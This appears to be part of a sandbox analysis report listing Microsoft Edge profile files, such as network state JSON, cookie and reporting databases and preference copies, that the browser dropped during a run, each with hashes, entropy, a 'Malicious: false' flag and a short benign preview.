SSDEEP:	6:HGuU3+q2PN723oH+Tcwt8a2jMGIFUt8YGQk5Zmw+YGKVkwON723oH+Tcwt8a2jM4:vlvVaYeb8EFUt8L5/+y5OaYeb8bJ
MD5:	4CFA402B7CDB1C4AAC401EC421D7E154
SHA1:	969190BEF1EC1701AECF770CDEEA202511AEAD25
SHA-256:	9053184C413DDBD29F7BA4F7E6E745DB277B6545B836156122C97A0F9E06C92D
SHA-512:	929137DA2EFABD7A3BDFDBBEF94842A211277B4832DDDDF4A07D2146FEFD4ED43AA056AF9B3896A96DD5808B87E6AFB568A24AD655FEF09905388F9FF2AE856D
Malicious:	false
Preview:	2024/11/24-23:46:36.717 1e98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/24-23:46:36.755 1e98 Recovering log #3.2024/11/24-23:46:36.758 1e98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\278a6f0b-323e-400e-91f4-f01d25656987.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3dbe5cc1-fdfb-408a-b061-a3d19c29e3fd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\741e7551-bb67-4154-accf-3150541b5da4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\82e8a746-4089-4a5d-af46-ae5fce5fe77d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.775444050588422
Encrypted:	false
SSDEEP:	384:VKDWVCdUJ0YU92PZzAs6tuoNBXI0LhJVb:sWVCdUJB62PZzAs6uoY0LhJ9
MD5:	19C2C5487CABA979B85E8BF78D25DEE5
SHA1:	622BCC03F99847627A90E0E92811B65E8925B48E
SHA-256:	6FA78EDEA56F9DBFCF05ED7327FE1476C2CF0B44D69BF6B911B5A19FADE28287
SHA-512:	127E9E81D599126DF075242AC93A84B02DD8A382D607C1B2B5201D73FC829E9D9A680268B41465FA6720E022B870A861A4A06856589B5579FC70B5708626917A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4cbd8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3785698609686252
Encrypted:	false
SSDEEP:	96:JkIEumQv8m1ccnvS6qb+lGFh5XA8Jaw1a:+IEumQv8m1ccnvS6VKXer
MD5:	30FA3352E9D0F54D83EA8D516AE69B5F
SHA1:	0111BBF329AE975366658BA354F8559716FFE0EA
SHA-256:	8C5553C7C9C0FB6074D3193618A583C7D556EBF14A858EB808EA82F25EDAE4B1
SHA-512:	DC665E4E514A36118827F4FEBDFD089929B647AD4B04ECB1772E12BBF7855FEAD1A46402B4B85590DAB76DF78EE6596043C066851CE3BC3B935DA2F56A661364
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b68f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ce9c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a7bb76e0-22c6-474e-847d-2f1e807bf773.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c648f0b4-f22b-4423-8188-85e3d68b5e8b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1747
Entropy (8bit):	5.305409743579093
Encrypted:	false
SSDEEP:	48:YcCpfgCzsZWtslfc7RsFbleeIkEsFYnCgHuYhbm:F2fvC22bkeIkxYnTDhK
MD5:	92DD6AC47CA2CE4AF5ADB0CD712977CA
SHA1:	500ACB15E4A44D159B22F4C78D223D1309AE51D8
SHA-256:	678E564CFCD320CEF4E4374735495B68C79EA70FB8254FAD28674FF3C854A058
SHA-512:	30EC94EF8060163D2642D70BBB250C5ED6977CF222D3BABAA71D129BB466BA9D0E9191DF643746BC3BA16A934FA999C7E52316EBB431CDCF5F131B042A625245
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379575600454108","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379575603347356","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.111961950305376
Encrypted:	false
SSDEEP:	192:stmkdpYs0Z0CaFvrE9kEce8ubV+FmeQAxU1PSYJ:stmQYs0yCCD8bGtQHV
MD5:	F8106942ECD6F5CCBF0251034D883720
SHA1:	924A0B5B9171BC17DC87EF2D339A466CE20A97D5
SHA-256:	913EB043F86976E5D7D8512C583CD82FF521C38904E521A2CD069FC1392BF249
SHA-512:	8629B46F96DF519591DCAE08EFBA150E4853A22C3D2197DFAD86A1B3266EB0033C740AA7D4A18E3652E3CDA747ED5E4D02034734A195D0C5E2E6B7C5DFF4DDBE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376983596869119","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4080b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.111961950305376
Encrypted:	false
SSDEEP:	192:stmkdpYs0Z0CaFvrE9kEce8ubV+FmeQAxU1PSYJ:stmQYs0yCCD8bGtQHV
MD5:	F8106942ECD6F5CCBF0251034D883720
SHA1:	924A0B5B9171BC17DC87EF2D339A466CE20A97D5
SHA-256:	913EB043F86976E5D7D8512C583CD82FF521C38904E521A2CD069FC1392BF249
SHA-512:	8629B46F96DF519591DCAE08EFBA150E4853A22C3D2197DFAD86A1B3266EB0033C740AA7D4A18E3652E3CDA747ED5E4D02034734A195D0C5E2E6B7C5DFF4DDBE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376983596869119","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF44591.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.111961950305376
Encrypted:	false
SSDEEP:	192:stmkdpYs0Z0CaFvrE9kEce8ubV+FmeQAxU1PSYJ:stmQYs0yCCD8bGtQHV
MD5:	F8106942ECD6F5CCBF0251034D883720
SHA1:	924A0B5B9171BC17DC87EF2D339A466CE20A97D5
SHA-256:	913EB043F86976E5D7D8512C583CD82FF521C38904E521A2CD069FC1392BF249
SHA-512:	8629B46F96DF519591DCAE08EFBA150E4853A22C3D2197DFAD86A1B3266EB0033C740AA7D4A18E3652E3CDA747ED5E4D02034734A195D0C5E2E6B7C5DFF4DDBE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376983596869119","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4bb6d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.111961950305376
Encrypted:	false
SSDEEP:	192:stmkdpYs0Z0CaFvrE9kEce8ubV+FmeQAxU1PSYJ:stmQYs0yCCD8bGtQHV
MD5:	F8106942ECD6F5CCBF0251034D883720
SHA1:	924A0B5B9171BC17DC87EF2D339A466CE20A97D5
SHA-256:	913EB043F86976E5D7D8512C583CD82FF521C38904E521A2CD069FC1392BF249
SHA-512:	8629B46F96DF519591DCAE08EFBA150E4853A22C3D2197DFAD86A1B3266EB0033C740AA7D4A18E3652E3CDA747ED5E4D02034734A195D0C5E2E6B7C5DFF4DDBE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376983596869119","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.5582525275837815
Encrypted:	false
SSDEEP:	768:z3IyoLW4m7pLGLPW/W5wJhf49o8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPpBIti0w1:z43LDGcPW/WaJhfIou1jakazBCtj
MD5:	F8B0995C63AB6C9248CEF097226BB68B
SHA1:	BA87F458FE6C2042B520F77FCEE18B7B78E45783
SHA-256:	9C711FE734788B26E79E84A5FD6CA993DA3EF7484AFEA20A754086856BA42368
SHA-512:	5B9F8DCF21AB8C25B2DE3A413F0E031FD1A98845C19A89A6EB18EBA2986E77FF0B7B01D1EA36ED796C9F936321295A2388A248DC903CE697BD3335557A42D47B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376983596262118","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376983596262118","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF4080b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.5582525275837815
Encrypted:	false
SSDEEP:	768:z3IyoLW4m7pLGLPW/W5wJhf49o8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPpBIti0w1:z43LDGcPW/WaJhfIou1jakazBCtj
MD5:	F8B0995C63AB6C9248CEF097226BB68B
SHA1:	BA87F458FE6C2042B520F77FCEE18B7B78E45783
SHA-256:	9C711FE734788B26E79E84A5FD6CA993DA3EF7484AFEA20A754086856BA42368
SHA-512:	5B9F8DCF21AB8C25B2DE3A413F0E031FD1A98845C19A89A6EB18EBA2986E77FF0B7B01D1EA36ED796C9F936321295A2388A248DC903CE697BD3335557A42D47B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376983596262118","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376983596262118","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF43b11.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.5582525275837815
Encrypted:	false
SSDEEP:	768:z3IyoLW4m7pLGLPW/W5wJhf49o8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPpBIti0w1:z43LDGcPW/WaJhfIou1jakazBCtj
MD5:	F8B0995C63AB6C9248CEF097226BB68B
SHA1:	BA87F458FE6C2042B520F77FCEE18B7B78E45783
SHA-256:	9C711FE734788B26E79E84A5FD6CA993DA3EF7484AFEA20A754086856BA42368
SHA-512:	5B9F8DCF21AB8C25B2DE3A413F0E031FD1A98845C19A89A6EB18EBA2986E77FF0B7B01D1EA36ED796C9F936321295A2388A248DC903CE697BD3335557A42D47B
Malicious:	false
